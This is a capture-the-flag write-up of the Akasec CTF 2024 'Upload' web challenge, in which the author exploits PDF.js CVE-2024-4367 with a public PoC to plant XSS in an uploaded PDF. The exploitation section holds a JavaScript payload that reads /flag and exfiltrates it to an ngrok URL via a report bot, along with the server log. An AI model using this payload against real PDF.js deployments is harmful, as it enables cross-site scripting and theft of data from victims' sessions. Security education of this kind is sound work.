siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Upload

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Navigate a mysterious file upload journey.

chall: http://172.206.89.197:9000/

bot: http://172.206.89.197:9000/report

Author: @S0nG0ku

Enumeration

Index page:

Hmm… It seems empty in here. Let’s try to create a new account via the “Signup” page:

Upon signing up a new account, it redirected us to the “Login” page:

After logging in, we’ll met with the upload page:

Uh… Let’s try to upload a file for testing:

┌[siunam♥Mercury]-(~/Downloads)-[2024.06.10|13:01:16(HKT)]
└> echo -n 'test' > test.txt                     

Hmm… It only accepts .pdf format

Burp Suite HTTP history:

When we clicked the “Upload” button, it’ll send a POST request to /upload with form data parameter file.

Now, let’s try to upload a sample PDF file and see what will happened:

After uploading a sample PDF file, it’ll redirect us to /view/file-<epoch_time>.<file_extension> and render the uploaded PDF file.

There’s no much we can do in here. Let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:08:26(HKT)]
└> file upload.zip 
upload.zip: Zip archive data, at least v2.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:08:26(HKT)]
└> unzip upload.zip 
Archive:  upload.zip
   creating: upload/
  inflating: upload/app.js           
  inflating: upload/bot.js           
  inflating: upload/Dockerfile       
   creating: upload/img/
 extracting: upload/img/img.jpg      
  inflating: upload/package-lock.json  
  inflating: upload/package.json     
   creating: upload/views/
  inflating: upload/views/bot.ejs    
  inflating: upload/views/index.ejs  
  inflating: upload/views/login.ejs  
  inflating: upload/views/signup.ejs  
  inflating: upload/views/upload.ejs  
  inflating: upload/views/view.ejs   

After reviewing the source code, we have the following findings!

First, the flag is at route /flag:

const express = require('express');
[...]
const app = express();
[...]
app.get('/flag', (req, res) => {
  let ip = req.connection.remoteAddress;
  if (ip === '127.0.0.1') {
    res.json({ flag: 'AKASEC{FAKE_FLAG}' });
  } else {
    res.status(403).json({ error: 'Access denied' });
  }
});
[...]

To get the flag however, the remote address must be 127.0.0.1.

Luckily, there’s a bot that sends request to our given URL!

At POST route /report, it’ll parse url POST parameter to the bot:

[...]
const bot = require("./bot")
[...]
app.post("/report", limit, async (req, res) => {
    const { url } = req.body;
    if (!url) {
        return res.status(400).send({ error: "Url is missing." });
    }
    if (!RegExp(bot.urlRegex).test(url)) {
        return res.status(422).send({ error: "URL din't match this regex format " + bot.urlRegex })
    }
    if (await bot.bot(url)) {
        return res.send({ success: "Admin successfully visited the URL." });
    } else {
        return res.status(500).send({ error: "Admin failed to visit the URL." });
    }
});
[...]

bot.js:

const puppeteer = require('puppeteer');

const CONFIG = {
    [...]
    APPURL: process.env['APPURL'] || "http://127.0.0.1:5000",
    [...]
}
[...]
const initBrowser = puppeteer.launch({
    executablePath: "/usr/bin/chromium-browser",
    headless: true,
    [...]
});
[...]
module.exports = {
    [...]
    urlRegex: `^${CONFIG.APPURL}/.*$`,
    [...]
    bot: async (urlToVisit) => {
        const browser = await initBrowser;
        const context = await browser.createBrowserContext()
        try {
            // Goto main page
            const page = await context.newPage();
            // Visit URL from user
            console.log(`bot visiting ${urlToVisit}`)
            await page.goto(urlToVisit, {
                waitUntil: 'networkidle2'
            });
            await sleep(8000);
            cookies = await page.cookies()
            console.log(cookies);

            // Close
            console.log("browser close...")
            await context.close()
            return true;
        } catch (e) {
            console.error(e);
            await context.close();
            return false;
        }
    }
}

In here, the when bot module’s function bot is called, it’ll launch a headless Chromium browser, and go to our given URL (http://127.0.0.1:5000/<our_URL>)

That being said, we can send a POST request to /report with the URL http://127.0.0.1:5000/flag to get the flag?

Well then how can we exfiltrate the flag?

To do so, we can find a client-side vulnerability, such as XSS (Cross-Site Scripting), to exfiltrate the flag.

Maybe the PDF rendering is vulnerable to XSS?

[...]
const PDFJS = require('pdfjs-dist');
[...]
app.use('/pdf.js', express.static(path.join(__dirname, 'node_modules/pdfjs-dist/build/pdf.js')));
app.use('/pdf.worker.js', express.static(path.join(__dirname, 'node_modules/pdfjs-dist/build/pdf.worker.js')));

app.get('/view/:filename', async (req, res) => {
    let filename = req.params.filename;
    res.render('view', { filename: filename });
});
[...]

views/view.ejs:

    [...]
    <script src="/pdf.js"></script>
    <script>
        var url = '/uploads/<%= filename %>';

        var pdfjsLib = window['pdfjsLib'];

        pdfjsLib.GlobalWorkerOptions.workerSrc = '/pdf.worker.js';

        var loadingTask = pdfjsLib.getDocument(url);
        loadingTask.promise.then(function(pdf) {

            var pageNumber = 1;
            pdf.getPage(pageNumber).then(function(page) {
                var scale = 1.5;
                var viewport = page.getViewport({scale: scale});

                var canvas = document.getElementById('the-canvas');
                var context = canvas.getContext('2d');
                canvas.height = viewport.height;
                canvas.width = viewport.width;

                var renderContext = {
                    canvasContext: context,
                    viewport: viewport
                };
                var renderTask = page.render(renderContext);
                renderTask.promise.then(function () {
                    console.log('Page rendered');
                });
            });
        }, function (reason) {
            console.error(reason);
        });
    </script>
    [...]

In here, we can see that the route /view/:filename returns the views/view.ejs template. In this template, it imports the /pdf.js JavaScript file, which is the NodeJS module pdfjs-dist, and uses that module to render our uploaded PDF file!

Huh… Recently, I saw a tweet on Twitter (X) about a vulnerability in PDF.js (CVE-2024-4367). I’m not sure the /pdf.js on this web application is vulnerable to that CVE.

Let’s check it with npm audit!

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:34:00(HKT)]
└> cd upload  
┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload/upload)-[2024.06.10|13:34:03(HKT)]
└> npm audit                  
# npm audit report

nedb  *
Severity: critical
Prototype Pollution in nedb - https://github.com/advisories/GHSA-339j-hqgx-qrrx
Depends on vulnerable versions of binary-search-tree
Depends on vulnerable versions of underscore
No fix available
node_modules/nedb

pdfjs-dist  <=4.1.392
Severity: high
PDF.js vulnerable to arbitrary JavaScript execution upon opening a malicious PDF - https://github.com/advisories/GHSA-wgrm-67xf-hhpq
fix available via `npm audit fix --force`
Will install pdfjs-dist@4.3.136, which is a breaking change
node_modules/pdfjs-dist

underscore  1.3.2 - 1.12.0
Severity: critical
Arbitrary Code Execution in underscore - https://github.com/advisories/GHSA-cf4h-3jhx-xvhq
No fix available
node_modules/underscore
  binary-search-tree  *
  Depends on vulnerable versions of underscore
  node_modules/binary-search-tree

4 vulnerabilities (1 high, 3 critical)
[...]

Oh! Looks like this web application is indeed using the vulnerable pdf.js!

In the GitHub advisory, the description said:

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

In the “CVE ID” section, we can also see that it is the exact same CVE ID!

Exploitation

Let’s search for public exploit, like PoC (Proof-of-Concept)!

By Googling the CVE ID, we can find this PoC:

Let’s download the PoC Python script!

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:42:30(HKT)]
└> wget https://raw.githubusercontent.com/LOURC0D3/CVE-2024-4367-PoC/main/CVE-2024-4367.py
[...]

In that GitHub repository, the PoC usage is like this:

python3 CVE-2024-4367.py "alert(document.domain)"

Let’s try to popup an alert box!

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:43:47(HKT)]
└> python3 CVE-2024-4367.py "alert(document.domain)"
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.
┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:43:54(HKT)]
└> file poc.pdf          
poc.pdf: PDF document, version 1.4, 1 page(s)

Then upload it:

Nice! We can confirm that this web application is vulnerable to CVE-2024-4367!

Now, let’s host a web server to receive the exfiltrated flag! To do so, I’ll be using Python’s http.server:

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|14:16:11(HKT)]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then, I’ll use Ngrok to do port forwarding:

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web)-[2024.06.10|14:16:56(HKT)]
└> ngrok http 80 --response-header-add="Access-Control-Allow-Origin:*"
[...]
Forwarding                    https://fa9e-{REDACTED}.ngrok-free.app -> http://localhost:80            
[...]

Note: The Access-Control-Allow-Origin response header is needed, otherwise the bot can’t sends request to us because of the SOP (Same Origin Policy).

Next, modify the payload to get the flag!

fetch("/flag")
  .then(response => response.json())
  .then(data => {
    const flag = encodeURIComponent(JSON.stringify(data));
    return fetch(`<NGROK_URL_HERE>?flag=${flag}`);
  })

In this payload, the bot will first get the flag at route /flag, then exfiltrate the flag to us.

Let’s do this!

┌[siunam♥Mercury]-(~/ctf/Akasec-CTF-2024/Web/Upload)-[2024.06.10|13:51:51(HKT)]
└> python3 CVE-2024-4367.py 'fetch("/flag")
  .then(response => response.json())
  .then(data => {
    const flag = encodeURIComponent(JSON.stringify(data));
    return fetch(`https://fa9e-{REDACTED}.ngrok-free.app/?flag=${flag}`);
  })'
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.

Upload the poc.pdf, jot down the uploaded filename, and send a POST request to /report and let the bot trigger our XSS payload:

POST /report HTTP/1.1
Host: 172.206.89.197:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

url=http://127.0.0.1:5000/view/file-1718000341478.pdf

Finally, we should be able to get the flag!

[...]
127.0.0.1 - - [10/Jun/2024 14:20:02] "GET /?flag=%7B%22flag%22%3A%22AKASEC%7BPDF_1s_4w3s0m3_W1th_XSS_%26%26_Fr33_P4le5T1n3_r0t4t333d_loooool%7D%22%7D HTTP/1.1" 200 -
127.0.0.1 - - [10/Jun/2024 14:20:02] "GET /?flag=%7B%22flag%22%3A%22AKASEC%7BPDF_1s_4w3s0m3_W1th_XSS_%26%26_Fr33_P4le5T1n3_r0t4t333d_loooool%7D%22%7D HTTP/1.1" 200 -
[...]

URL decoded:

{"flag":"AKASEC{PDF_1s_4w3s0m3_W1th_XSS_&&_Fr33_P4le5T1n3_r0t4t333d_loooool}"}

Conclusion

What we’ve learned:

  1. Exploiting CVE-2024-4367 (PDF.js)